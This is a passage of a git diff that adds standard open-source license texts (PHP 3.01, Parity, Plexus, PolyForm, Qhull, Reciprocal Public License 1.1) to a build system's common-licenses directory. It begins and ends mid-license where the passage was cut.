+ a. For jurisdictions allowing waiver of moral rights, Licensor waives all moral rights that Licensor may have in the Work to the fullest extent possible by the law of the relevant jurisdiction under Section 6.4;
+
+ b. If waiver of moral rights under Section 3.4 a in the relevant jurisdiction is not possible, Licensor agrees not to assert any moral rights over the Work and waives all claims in moral rights to the fullest extent possible by the law of the relevant jurisdiction under Section 6.4; and
+
+ c. For jurisdictions not allowing waiver or an agreement not to assert moral rights under Section 3.4 a and b, the author may retain their moral rights over the copyrighted aspects of the Work.
+
+Please note that some jurisdictions do not allow for the waiver of moral rights, and so moral rights may still subsist over the work in some jurisdictions.
+
+4.0 Relationship to other rights
+
+4.1 No other contractual conditions. The Rightsholder makes this Work available to You without any other contractual obligations, either express or implied. Any Community Norms statement associated with the Work is not a contract and does not form part of this Document.
+
+4.2 Relationship to patents. This Document does not grant You a licence for any patents that the Rightsholder may own. Users of this Database are cautioned that they may have to clear other rights or consult other licences.
+
+4.3 Relationship to trade marks. This Document does not grant You a licence for any trade marks that the Rightsholder may own or that the Rightsholder may use to cover the Work. Users of this Database are cautioned that they may have to clear other rights or consult other licences. Part III: General provisions
+
+5.0 Warranties, disclaimer, and limitation of liability
+
+5.1 The Work is provided by the Rightsholder "as is" and without any warranty of any kind, either express or implied, whether of title, of accuracy or completeness, of the presence of absence of errors, of fitness for purpose, or otherwise. Some jurisdictions do not allow the exclusion of implied warranties, so this exclusion may not apply to You.
+
+5.2 Subject to any liability that may not be excluded or limited by law, the Rightsholder is not liable for, and expressly excludes, all liability for loss or damage however and whenever caused to anyone by any use under this Document, whether by You or by anyone else, and whether caused by any fault on the part of the Rightsholder or not. This exclusion of liability includes, but is not limited to, any special, incidental, consequential, punitive, or exemplary damages. This exclusion applies even if the Rightsholder has been advised of the possibility of such damages.
+
+5.3 If liability may not be excluded by law, it is limited to actual and direct financial loss to the extent it is caused by proved negligence on the part of the Rightsholder.
+
+6.0 General
+
+6.1 If any provision of this Document is held to be invalid or unenforceable, that must not affect the cvalidity or enforceability of the remainder of the terms of this Document.
+
+6.2 This Document is the entire agreement between the parties with respect to the Work covered here. It replaces any earlier understandings, agreements or representations with respect to the Work not specified here.
+
+6.3 This Document does not affect any rights that You or anyone else may independently have under any applicable law to make any use of this Work, including (for jurisdictions where this Document is a licence) fair dealing, fair use, database exceptions, or any other legally recognised limitation or exception to infringement of copyright or other applicable laws.
+
+6.4 This Document takes effect in the relevant jurisdiction in which the Document terms are sought to be enforced. If the rights waived or granted under applicable law in the relevant jurisdiction includes additional rights not waived or granted under this Document, these additional rights are included in this Document in order to meet the intent of this Document.
diff --git a/meta/files/common-licenses/PHP-3.01 b/meta/files/common-licenses/PHP-3.01
new file mode 100644
index 0000000000..6ffc95218f
--- /dev/null
+++ b/meta/files/common-licenses/PHP-3.01
@@ -0,0 +1,27 @@
+The PHP License, version 3.01
+
+Copyright (c) 1999 - 2012 The PHP Group. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, is permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. The name "PHP" must not be used to endorse or promote products derived from this software without prior written permission. For written permission, please contact group@php.net.
+
+4. Products derived from this software may not be called "PHP", nor may "PHP" appear in their name, without prior written permission from group@php.net. You may indicate that your software works in conjunction with PHP by saying "Foo for PHP" instead of calling it "PHP Foo" or "phpfoo"
+
+5. The PHP Group may publish revised and/or new versions of the license from time to time. Each version will be given a distinguishing version number. Once covered code has been published under a particular version of the license, you may always continue to use it under the terms of that version. You may also choose to use such covered code under the terms of any subsequent version of the license published by the PHP Group. No one other than the PHP Group has the right to modify the terms applicable to covered code created under this License.
+
+6. Redistributions of any form whatsoever must retain the following acknowledgment: "This product includes PHP software, freely available from <http://www.php.net/software/>".
+
+THIS SOFTWARE IS PROVIDED BY THE PHP DEVELOPMENT TEAM ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE PHP DEVELOPMENT TEAM OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+This software consists of voluntary contributions made by many individuals on behalf of the PHP Group.
+
+The PHP Group can be contacted via Email at group@php.net.
+
+For more information on the PHP Group and the PHP project, please see <http://www.php.net>.
+
+PHP includes the Zend Engine, freely available at <http://www.zend.com>.
diff --git a/meta/files/common-licenses/Parity-6.0.0 b/meta/files/common-licenses/Parity-6.0.0
new file mode 100644
index 0000000000..a3bb2a623d
--- /dev/null
+++ b/meta/files/common-licenses/Parity-6.0.0
@@ -0,0 +1,44 @@
+The Parity Public License 6.0.0
+
+Contributor: Example, Inc.
+
+Source Code: https://example.com/sourcecode
+
+This license lets you use and share this software for free, as
+long as you contribute software you make with it. Specifically:
+
+If you follow the rules below, you may do everything with this
+software that would otherwise infringe either the contributor's
+copyright in it, any patent claim the contributor can license,
+or both.
+
+1. Contribute changes and additions you make to this software.
+
+2. If you combine this software with other software, contribute
+ that other software.
+
+3. Contribute software you develop, deploy, monitor, or run with
+ this software.
+
+4. Ensure everyone who gets a copy of this software from you, in
+ source code or any other form, gets the text of this license
+ and the contributor and source code lines above.
+
+5. Do not make any legal claim against anyone accusing this
+ software, with or without changes, alone or with other
+ software, of infringing any patent claim.
+
+To contribute software, publish all its source code, in the
+preferred form for making changes, through a freely accessible
+distribution system widely used for similar source code, and
+license contributions not already licensed to the public on terms
+as permissive as this license accordingly.
+
+You are excused for unknowingly breaking 1, 2, or 3 if you
+contribute as required, or stop doing anything requiring this
+license, within 30 days of learning you broke the rule.
+
+**As far as the law allows, this software comes as is, without
+any warranty, and the contributor will not be liable to anyone
+for any damages related to this software or this license, for any
+kind of legal claim.**
diff --git a/meta/files/common-licenses/Parity-7.0.0 b/meta/files/common-licenses/Parity-7.0.0
new file mode 100644
index 0000000000..e5e022061b
--- /dev/null
+++ b/meta/files/common-licenses/Parity-7.0.0
@@ -0,0 +1,71 @@
+# The Parity Public License 7.0.0
+
+Contributor: Artless Devices, LLC [US-CA]
+
+Source Code: https://github.com/licensezero/licensezero.com
+
+## Purpose
+
+This license allows you to use and share this software for free, but you have to share software that builds on it alike.
+
+## Agreement
+
+In order to receive this license, you have to agree to its rules. Those rules are both obligations under that agreement and conditions to your license. Don't do anything with this software that triggers a rule you can't or won't follow.
+
+## Notices
+
+Make sure everyone who gets a copy of any part of this software from you, with or without changes, also gets the text of this license and the contributor and source code lines above.
+
+## Copyleft
+
+[Contribute](#contribute) software you develop, operate, or analyze with this software, including changes or additions to this software. When in doubt, [contribute](#contribute).
+
+## Prototypes
+
+You don't have to [contribute](#contribute) any change, addition, or other software that meets all these criteria:
+
+1. You don't use it for more than thirty days.
+
+2. You don't share it outside the team developing it, other than for non-production user testing.
+
+3. You don't develop, operate, or analyze other software with it for anyone outside the team developing it.
+
+## Reverse Engineering
+
+You may use this software to operate and analyze software you can't [contribute](#contribute) in order to develop alternatives you can and do [contribute](#contribute).
+
+## Contribute
+
+To [contribute](#contribute) software:
+
+1. Publish all source code for the software in the preferred form for making changes through a freely accessible distribution system widely used for similar source code so the contributor and others can find and copy it.
+
+2. Make sure every part of the source code is available under this license or another license that allows everything this license does, such as [the Blue Oak Model License 1.0.0](https://blueoakcouncil.org/license/1.0.0), [the Apache License 2.0](https://www.apache.org/licenses/LICENSE-2.0.html), [the MIT license](https://spdx.org/licenses/MIT.html), or [the two-clause BSD license](https://spdx.org/licenses/BSD-2-Clause.html).
+
+3. Take these steps within thirty days.
+
+4. Note that this license does _not_ allow you to change the license terms for this software. You must follow [Notices](#notices).
+
+## Excuse
+
+You're excused for unknowingly breaking [Copyleft](#copyleft) if you [contribute](#contribute) as required, or stop doing anything requiring this license, within thirty days of learning you broke the rule. You're excused for unknowingly breaking [Notices](#notices) if you take all practical steps to comply within thirty days of learning you broke the rule.
+
+## Defense
+
+Don't make any legal claim against anyone accusing this software, with or without changes, alone or with other technology, of infringing any patent.
+
+## Copyright
+
+The contributor licenses you to do everything with this software that would otherwise infringe their copyright in it.
+
+## Patent
+
+The contributor licenses you to do everything with this software that would otherwise infringe any patents they can license or become able to license.
+
+## Reliability
+
+The contributor can't revoke this license.
+
+## No Liability
+
+***As far as the law allows, this software comes as is, without any warranty or condition, and the contributor won't be liable to anyone for any damages related to this software or this license, under any kind of legal claim.***
diff --git a/meta/files/common-licenses/Plexus b/meta/files/common-licenses/Plexus
new file mode 100644
index 0000000000..c92bc72454
--- /dev/null
+++ b/meta/files/common-licenses/Plexus
@@ -0,0 +1,15 @@
+Copyright 2002 (C) The Codehaus. All Rights Reserved.
+
+Redistribution and use of this software and associated documentation ("Software"), with or without modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain copyright statements and notices. Redistributions must also contain a copy of this document.
+
+2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
+
+3. The name "classworlds” must not be used to endorse or promote products derived from this Software without prior written permission of The Codehaus. For written permission, please contact bob@codehaus.org.
+
+4. Products derived from this Software may not be called "classworlds” nor may "classworlds” appear in their names without prior written permission of The Codehaus. "classworlds” is a registered trademark of The Codehaus.
+
+5. Due credit should be given to The Codehaus. (http://classworlds.codehaus.org/).
+
+THIS SOFTWARE IS PROVIDED BY THE CODEHAUS AND CONTRIBUTORS ``AS IS'' AND ANY EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE CODEHAUS OR ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/meta/files/common-licenses/PolyForm-Noncommercial-1.0.0 b/meta/files/common-licenses/PolyForm-Noncommercial-1.0.0
new file mode 100644
index 0000000000..1a71cb6439
--- /dev/null
+++ b/meta/files/common-licenses/PolyForm-Noncommercial-1.0.0
@@ -0,0 +1,131 @@
+# PolyForm Noncommercial License 1.0.0
+
+<https://polyformproject.org/licenses/noncommercial/1.0.0>
+
+## Acceptance
+
+In order to get any license under these terms, you must agree
+to them as both strict obligations and conditions to all
+your licenses.
+
+## Copyright License
+
+The licensor grants you a copyright license for the
+software to do everything you might do with the software
+that would otherwise infringe the licensor's copyright
+in it for any permitted purpose. However, you may
+only distribute the software according to [Distribution
+License](#distribution-license) and make changes or new works
+based on the software according to [Changes and New Works
+License](#changes-and-new-works-license).
+
+## Distribution License
+
+The licensor grants you an additional copyright license
+to distribute copies of the software. Your license
+to distribute covers distributing the software with
+changes and new works permitted by [Changes and New Works
+License](#changes-and-new-works-license).
+
+## Notices
+
+You must ensure that anyone who gets a copy of any part of
+the software from you also gets a copy of these terms or the
+URL for them above, as well as copies of any plain-text lines
+beginning with `Required Notice:` that the licensor provided
+with the software. For example:
+
+> Required Notice: Copyright Yoyodyne, Inc. (http://example.com)
+
+## Changes and New Works License
+
+The licensor grants you an additional copyright license to
+make changes and new works based on the software for any
+permitted purpose.
+
+## Patent License
+
+The licensor grants you a patent license for the software that
+covers patent claims the licensor can license, or becomes able
+to license, that you would infringe by using the software.
+
+## Noncommercial Purposes
+
+Any noncommercial purpose is a permitted purpose.
+
+## Personal Uses
+
+Personal use for research, experiment, and testing for
+the benefit of public knowledge, personal study, private
+entertainment, hobby projects, amateur pursuits, or religious
+observance, without any anticipated commercial application,
+is use for a permitted purpose.
+
+## Noncommercial Organizations
+
+Use by any charitable organization, educational institution,
+public research organization, public safety or health
+organization, environmental protection organization,
+or government institution is use for a permitted purpose
+regardless of the source of funding or obligations resulting
+from the funding.
+
+## Fair Use
+
+You may have "fair use" rights for the software under the
+law. These terms do not limit them.
+
+## No Other Rights
+
+These terms do not allow you to sublicense or transfer any of
+your licenses to anyone else, or prevent the licensor from
+granting licenses to anyone else. These terms do not imply
+any other licenses.
+
+## Patent Defense
+
+If you make any written claim that the software infringes or
+contributes to infringement of any patent, your patent license
+for the software granted under these terms ends immediately. If
+your company makes such a claim, your patent license ends
+immediately for work on behalf of your company.
+
+## Violations
+
+The first time you are notified in writing that you have
+violated any of these terms, or done anything with the software
+not covered by your licenses, your licenses can nonetheless
+continue if you come into full compliance with these terms,
+and take practical steps to correct past violations, within
+32 days of receiving notice. Otherwise, all your licenses
+end immediately.
+
+## No Liability
+
+***As far as the law allows, the software comes as is, without
+any warranty or condition, and the licensor will not be liable
+to you for any damages arising out of these terms or the use
+or nature of the software, under any kind of legal claim.***
+
+## Definitions
+
+The **licensor** is the individual or entity offering these
+terms, and the **software** is the software the licensor makes
+available under these terms.
+
+**You** refers to the individual or entity agreeing to these
+terms.
+
+**Your company** is any legal entity, sole proprietorship,
+or other kind of organization that you work for, plus all
+organizations that have control over, are under the control of,
+or are under common control with that organization. **Control**
+means ownership of substantially all the assets of an entity,
+or the power to direct its management and policies by vote,
+contract, or otherwise. Control can be direct or indirect.
+
+**Your licenses** are all the licenses granted to you for the
+software under these terms.
+
+**Use** means anything you do with the software requiring one
+of your licenses.
diff --git a/meta/files/common-licenses/PolyForm-Small-Business-1.0.0 b/meta/files/common-licenses/PolyForm-Small-Business-1.0.0
new file mode 100644
index 0000000000..5b5790e04a
--- /dev/null
+++ b/meta/files/common-licenses/PolyForm-Small-Business-1.0.0
@@ -0,0 +1,121 @@
+# PolyForm Small Business License 1.0.0
+
+<https://polyformproject.org/licenses/small-business/1.0.0>
+
+## Acceptance
+
+In order to get any license under these terms, you must agree
+to them as both strict obligations and conditions to all
+your licenses.
+
+## Copyright License
+
+The licensor grants you a copyright license for the
+software to do everything you might do with the software
+that would otherwise infringe the licensor's copyright
+in it for any permitted purpose. However, you may
+only distribute the software according to [Distribution
+License](#distribution-license) and make changes or new works
+based on the software according to [Changes and New Works
+License](#changes-and-new-works-license).
+
+## Distribution License
+
+The licensor grants you an additional copyright license
+to distribute copies of the software. Your license
+to distribute covers distributing the software with
+changes and new works permitted by [Changes and New Works
+License](#changes-and-new-works-license).
+
+## Notices
+
+You must ensure that anyone who gets a copy of any part of
+the software from you also gets a copy of these terms or the
+URL for them above, as well as copies of any plain-text lines
+beginning with `Required Notice:` that the licensor provided
+with the software. For example:
+
+> Required Notice: Copyright Yoyodyne, Inc. (http://example.com)
+
+## Changes and New Works License
+
+The licensor grants you an additional copyright license to
+make changes and new works based on the software for any
+permitted purpose.
+
+## Patent License
+
+The licensor grants you a patent license for the software that
+covers patent claims the licensor can license, or becomes able
+to license, that you would infringe by using the software.
+
+## Fair Use
+
+You may have "fair use" rights for the software under the
+law. These terms do not limit them.
+
+## Small Business
+
+Use of the software for the benefit of your company is use for
+a permitted purpose if your company has fewer than 100 total
+individuals working as employees and independent contractors,
+and less than 1,000,000 USD (2019) total revenue in the prior
+tax year. Adjust this revenue threshold for inflation according
+to the United States Bureau of Labor Statistics' consumer price
+index for all urban consumers, U.S. city average, for all items,
+not seasonally adjusted, with 1982–1984=100 reference base.
+
+## No Other Rights
+
+These terms do not allow you to sublicense or transfer any of
+your licenses to anyone else, or prevent the licensor from
+granting licenses to anyone else. These terms do not imply
+any other licenses.
+
+## Patent Defense
+
+If you make any written claim that the software infringes or
+contributes to infringement of any patent, your patent license
+for the software granted under these terms ends immediately. If
+your company makes such a claim, your patent license ends
+immediately for work on behalf of your company.
+
+## Violations
+
+The first time you are notified in writing that you have
+violated any of these terms, or done anything with the software
+not covered by your licenses, your licenses can nonetheless
+continue if you come into full compliance with these terms,
+and take practical steps to correct past violations, within
+32 days of receiving notice. Otherwise, all your licenses
+end immediately.
+
+## No Liability
+
+***As far as the law allows, the software comes as is, without
+any warranty or condition, and the licensor will not be liable
+to you for any damages arising out of these terms or the use
+or nature of the software, under any kind of legal claim.***
+
+## Definitions
+
+The **licensor** is the individual or entity offering these
+terms, and the **software** is the software the licensor makes
+available under these terms.
+
+**You** refers to the individual or entity agreeing to these
+terms.
+
+**Your company** is any legal entity, sole proprietorship,
+or other kind of organization that you work for, plus all
+organizations that have control over, are under the control of,
+or are under common control with that organization. **Control**
+means ownership of substantially all the assets of an entity,
+or the power to direct its management and policies by vote,
+contract, or otherwise. Control can be direct or indirect.
+
+**Your licenses** are all the licenses granted to you for the
+software under these terms.
+
+**Use** means anything you do with the software requiring one
+of your licenses.
diff --git a/meta/files/common-licenses/Qhull b/meta/files/common-licenses/Qhull
new file mode 100644
index 0000000000..0c795af167
--- /dev/null
+++ b/meta/files/common-licenses/Qhull
@@ -0,0 +1,17 @@
+Qhull, Copyright (c) 1993-2003
+
+The National Science and Technology Research Center for Computation and Visualization of Geometric Structures (The Geometry Center) University of Minnesota
+
+email: qhull@qhull.org
+
+This software includes Qhull from The Geometry Center. Qhull is copyrighted as noted above. Qhull is free software and may be obtained via http from www.qhull.org. It may be freely copied, modified, and redistributed under the following conditions:
+
+1. All copyright notices must remain intact in all files.
+
+2. A copy of this text file must be distributed along with any copies of Qhull that you redistribute; this includes copies that you have modified, or copies of programs or other software products that include Qhull.
+
+3. If you modify Qhull, you must include a notice giving the name of the person performing the modification, the date of modification, and the reason for such modification.
+
+4. When distributing modified versions of Qhull, or other software products that include Qhull, you must provide notice that the original source code may be obtained as noted above.
+
+5. There is no warranty or other guarantee of fitness for Qhull, it is provided solely "as is". Bug reports or fixes may be sent to qhull_bug@qhull.org; the authors may or may not act on them as they desire.
diff --git a/meta/files/common-licenses/RPL-1.1 b/meta/files/common-licenses/RPL-1.1
new file mode 100644
index 0000000000..8db27a884c
--- /dev/null
+++ b/meta/files/common-licenses/RPL-1.1
@@ -0,0 +1,177 @@
+Reciprocal Public License, version 1.1
+
+Copyright (C) 2001-2002 Technical Pursuit Inc., All Rights Reserved.
+
+PREAMBLE
+
+This Preamble is intended to describe, in plain English, the nature, intent, and scope of this License. However, this Preamble is not a part of this License. The legal effect of this License is dependent only upon the terms of the License and not this Preamble.
+
+This License is based on the concept of reciprocity. In exchange for being granted certain rights under the terms of this License to Licensor's Software, whose Source Code You have access to, You are required to reciprocate by providing equal access and rights to all third parties to the Source Code of any Modifications, Derivative Works, and Required Components for execution of same (collectively defined as Extensions) that You Deploy by Deploying Your Extensions under the terms of this License. In this fashion the available Source Code related to the original Licensed Software is enlarged for the benefit of everyone.
+
+Under the terms of this License You may:
+
+a. Distribute the Licensed Software exactly as You received it under the terms of this License either alone or as a component of an aggregate software distribution containing programs from several different sources without payment of a royalty or other fee.
+
+b. Use the Licensed Software for any purpose consistent with the rights granted by this License, but the Licensor is not providing You any warranty whatsoever, nor is the Licensor accepting any liability in the event that the Licensed Software doesn't work properly or causes You any injury or damages.
+
+c. Create Extensions to the Licensed Software consistent with the rights granted by this License, provided that You make the Source Code to any Extensions You Deploy available to all third parties under the terms of this License, document Your Modifications clearly, and title all Extensions distinctly from the Licensed Software.
+
+d. Charge a fee for warranty or support, or for accepting indemnity or liability obligations for Your customers.
+
+Under the terms of this License You may not:
+
+a. Charge for the Source Code to the Licensed Software, or Your Extensions, other than a nominal fee not to exceed Your cost for reproduction and distribution where such reproduction and distribution involve physical media.
+
+b. Modify or delete any pre-existing copyright notices, change notices, or License text in the Licensed Software.
+
+c. Assert any patent claims against the Licensor or Contributors, or which would in any way restrict the ability of any third party to use the Licensed Software or portions thereof in any form under the terms of this License, or Your rights to the Licensed Software under this License automatically terminate.
+
+d. Represent either expressly or by implication, appearance, or otherwise that You represent Licensor or
+
+Contributors in any capacity or that You have any form of legal association by virtue of this License.
+
+Under the terms of this License You must:
+
+a. Document any Modifications You make to the Licensed Software including the nature of the change, the authors of the change, and the date of the change. This documentation must appear both in the Source Code and in a text file titled "CHANGES" distributed with the Licensed Software and Your Extensions.
+
+b. Make the Source Code for any Extensions You Deploy available in a timely fashion via an Electronic Distribution Mechanism such as FTP or HTTP download.
+
+c. Notify the Licensor of the availability of Source Code to Your Extensions in a timely fashion and include in such notice a brief description of the Extensions, the distinctive title used, and instructions on how to acquire the Source Code and future updates.
+
+d. Grant Licensor and all third parties a world-wide, non-exclusive, royalty-free license under any intellectual property rights owned or controlled by You to use, reproduce, display, perform, modify, sublicense, and distribute Your Extensions, in any form, under the terms of this License.
+
+LICENSE TERMS
+
+1.0 General; Applicability & Definitions. This Reciprocal Public License Version 1.1 ("License") applies to any programs or other works as well as any and all updates or maintenance releases of said programs or works ("Software") not already covered by this License which the Software copyright holder ("Licensor") makes publicly available containing a Notice (hereinafter defined) from the Licensor specifying or allowing use or distribution under the terms of this License. As used in this License and Preamble:
+
+ 1.1 "Contributor" means any person or entity who created or contributed to the creation of an Extension.
+
+ 1.2 "Deploy" means to use, Serve, sublicense or distribute Licensed Software other than for Your internal Research and/or Personal Use, and includes without limitation, any and all internal use or distribution of Licensed Software within Your business or organization other than for Research and/or Personal Use, as well as direct or indirect sublicensing or distribution of Licensed Software by You to any third party in any form or manner.
+
+ 1.3 "Derivative Works" as used in this License is defined under U.S. copyright law.
+
+ 1.4 "Electronic Distribution Mechanism" means a mechanism generally accepted in the software development community for the electronic transfer of data such as download from an FTP or web site, where such mechanism is publicly accessible.
+
+ 1.5 "Extensions" means any Modifications, Derivative Works, or Required Components as those terms are defined in this License.
+
+ 1.6 "License" means this Reciprocal Public License.
+
+ 1.7 "Licensed Software" means any Software licensed pursuant to this License. Licensed Software also includes all previous Extensions from any Contributor that You receive.
+
+ 1.8 "Licensor" means the copyright holder of any Software previously uncovered by this License who releases the Software under the terms of this License.
+
+ 1.9 "Modifications" means any additions to or deletions from the substance or structure of (i) a file or other storage containing Licensed Software, or (ii) any new file or storage that contains any part of Licensed Software, or (iii) any file or storage which replaces or otherwise alters the original functionality of Licensed Software at runtime.
+
+ 1.10 "Notice" means the notice contained in EXHIBIT A.
+
+ 1.11 "Personal Use" means use of Licensed Software by an individual solely for his or her personal, private and non-commercial purposes. An individual's use of Licensed Software in his or her capacity as an officer, employee, member, independent contractor or agent of a corporation, business or organization (commercial or non-commercial) does not qualify as Personal Use.
+
+ 1.12 "Required Components" means any text, programs, scripts, schema, interface definitions, control files, or other works created by You which are required by a third party of average skill to successfully install and run Licensed Software containing Your Modifications, or to install and run Your Derivative Works.
+
+ 1.13 "Research" means investigation or experimentation for the purpose of understanding the nature and limits of the Licensed Software and its potential uses.
+
+ 1.14 "Serve" means to deliver Licensed Software and/or Your Extensions by means of a computer network to one or more computers for purposes of execution of Licensed Software and/or Your Extensions.
+
+ 1.15 "Software" means any computer programs or other works as well as any updates or maintenance releases of those programs or works which are distributed publicly by Licensor.
+
+ 1.16 "Source Code" means the preferred form for making modifications to the Licensed Software and/or Your Extensions, including all modules contained therein, plus any associated text, interface definition files, scripts used to control compilation and installation of an executable program or other components required by a third party of average skill to build a running version of the Licensed Software or Your Extensions.
+
+ 1.17 "You" or "Your" means an individual or a legal entity exercising rights under this License. For legal entities, "You" or "Your" includes any entity which controls, is controlled by, or is under common control with, You, where "control" means (a) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (b) ownership of fifty percent (50%) or more of the outstanding shares or beneficial ownership of such entity.
+
+2.0 Acceptance Of License. You are not required to accept this License since you have not signed it, however nothing else grants you permission to use, copy, distribute, modify, or create derivatives of either the Software or any Extensions created by a Contributor. These actions are prohibited by law if you do not accept this License. Therefore, by performing any of these actions You indicate Your acceptance of this License and Your agreement to be bound by all its terms and conditions. IF YOU DO NOT AGREE WITH ALL THE TERMS AND CONDITIONS OF THIS LICENSE DO NOT USE, MODIFY, CREATE DERIVATIVES, OR DISTRIBUTE THE SOFTWARE. IF IT IS IMPOSSIBLE FOR YOU TO COMPLY WITH ALL THE TERMS AND CONDITIONS OF THIS LICENSE THEN YOU CAN NOT USE, MODIFY, CREATE DERIVATIVES, OR DISTRIBUTE THE SOFTWARE.
+
+3.0 Grant of License From Licensor. Subject to the terms and conditions of this License, Licensor hereby grants You a world-wide, royalty-free, non-exclusive license, subject to Licensor's intellectual property rights, and any third party intellectual property claims derived from the Licensed Software under this License, to do the following:
+
+ 3.1 Use, reproduce, modify, display, perform, sublicense and distribute Licensed Software and Your Extensions in both Source Code form or as an executable program.
+
+ 3.2 Create Derivative Works (as that term is defined under U.S. copyright law) of Licensed Software by adding to or deleting from the substance or structure of said Licensed Software.
+
+ 3.3 Under claims of patents now or hereafter owned or controlled by Licensor, to make, use, have made, and/or otherwise dispose of Licensed Software or portions thereof, but solely to the extent that any such claim is necessary to enable You to make, use, have made, and/or otherwise dispose of Licensed Software or portions thereof.
+
+ 3.4 Licensor reserves the right to release new versions of the Software with different features, specifications, capabilities, functions, licensing terms, general availability or other characteristics. Title, ownership rights, and intellectual property rights in and to the Licensed Software shall remain in Licensor and/or its Contributors.
+
+4.0 Grant of License From Contributor. By application of the provisions in Section 6 below, each Contributor hereby grants You a world-wide, royalty-free, non-exclusive license, subject to said Contributor's intellectual property rights, and any third party intellectual property claims derived from the Licensed Software under this License, to do the following:
+
+ 4.1 Use, reproduce, modify, display, perform, sublicense and distribute any Extensions Deployed by such Contributor or portions thereof, in both Source Code form or as an executable program, either on an unmodified basis or as part of Derivative Works.
+
+ 4.2 Under claims of patents now or hereafter owned or controlled by Contributor, to make, use, have made, and/or otherwise dispose of Extensions or portions thereof, but solely to the extent that any such claim is necessary to enable You to make, use, have made, and/or otherwise dispose of Contributor's Extensions or portions thereof.
+
+5.0 Exclusions From License Grant. Nothing in this License shall be deemed to grant any rights to trademarks, copyrights, patents, trade secrets or any other intellectual property of Licensor or any Contributor except as expressly stated herein. Except as expressly stated in Sections 3 and 4, no other patent rights, express or implied, are granted herein. Your Extensions may require additional patent licenses from Licensor or Contributors which each may grant in its sole discretion. No right is granted to the trademarks of Licensor or any Contributor even if such marks are included in the Licensed Software. Nothing in this License shall be interpreted to prohibit Licensor from licensing under different terms from this License any code that Licensor otherwise would have a right to license.
+
+ 5.1 You expressly acknowledge and agree that although Licensor and each Contributor grants the licenses to their respective portions of the Licensed Software set forth herein, no assurances are provided by Licensor or any Contributor that the Licensed Software does not infringe the patent or other intellectual property rights of any other entity. Licensor and each Contributor disclaim any liability to You for claims brought by any other entity based on infringement of intellectual property rights or otherwise. As a condition to exercising the rights and licenses granted hereunder, You hereby assume sole responsibility to secure any other intellectual property rights needed, if any. For example, if a third party patent license is required to allow You to distribute the Licensed Software, it is Your responsibility to acquire that license before distributing the Licensed Software.
+
+6.0 Your Obligations And Grants. In consideration of, and as an express condition to, the licenses granted to You under this License You hereby agree that any Modifications, Derivative Works, or Required Components (collectively Extensions) that You create or to which You contribute are governed by the terms of this License including, without limitation, Section 4. Any Extensions that You create or to which You contribute must be Deployed under the terms of this License or a future version of this License released under Section 7. You hereby grant to Licensor and all third parties a world-wide, non-exclusive, royalty-free license under those intellectual property rights You own or control to use, reproduce, display, perform, modify, create derivatives, sublicense, and distribute Your Extensions, in any form. Any Extensions You make and Deploy must have a distinct title so as to readily tell any subsequent user or Contributor that the Extensions are by You. You must include a copy of this License with every copy of the Extensions You distribute. You agree not to offer or impose any terms on any Source Code or executable version of the Licensed Software, or its Extensions that alter or restrict the applicable version of this License or the recipients' rights hereunder.
+
+ 6.1 Availability of Source Code. You must make available, under the terms of this License, the Source Code of the Licensed Software and any Extensions that You Deploy, either on the same media as You distribute any executable or other form of the Licensed Software, or via an Electronic Distribution Mechanism. The Source Code for any version of Licensed Software, or its Extensions that You Deploy must be made available at the time of Deployment and must remain available for as long as You Deploy the Extensions or at least twelve (12) months after the date You Deploy, whichever is longer. You are responsible for ensuring that the Source Code version remains available even if the Electronic Distribution Mechanism is maintained by a third party. You may not charge a fee for the Source Code distributed under this Section in excess of Your actual cost of duplication and distribution where such duplication and distribution involve physical media.
+
+ 6.2 Description of Modifications. You must cause any Modifications that You create or to which You contribute, to update the file titled "CHANGES" distributed with Licensed Software documenting the additions, changes or deletions You made, the authors of such Modifications, and the dates of any such additions, changes or deletions. You must also cause a cross-reference to appear in the Source Code at the location of each change. You must include a prominent statement that the Modifications are derived, directly or indirectly, from the Licensed Software and include the names of the Licensor and any Contributor to the Licensed Software in (i) the Source Code and (ii) in any notice displayed by the Licensed Software You distribute or in related documentation in which You describe the origin or ownership of the Licensed Software. You may not modify or delete any pre-existing copyright notices, change notices or License text in the Licensed Software.
+
+ 6.3 Intellectual Property Matters.
+
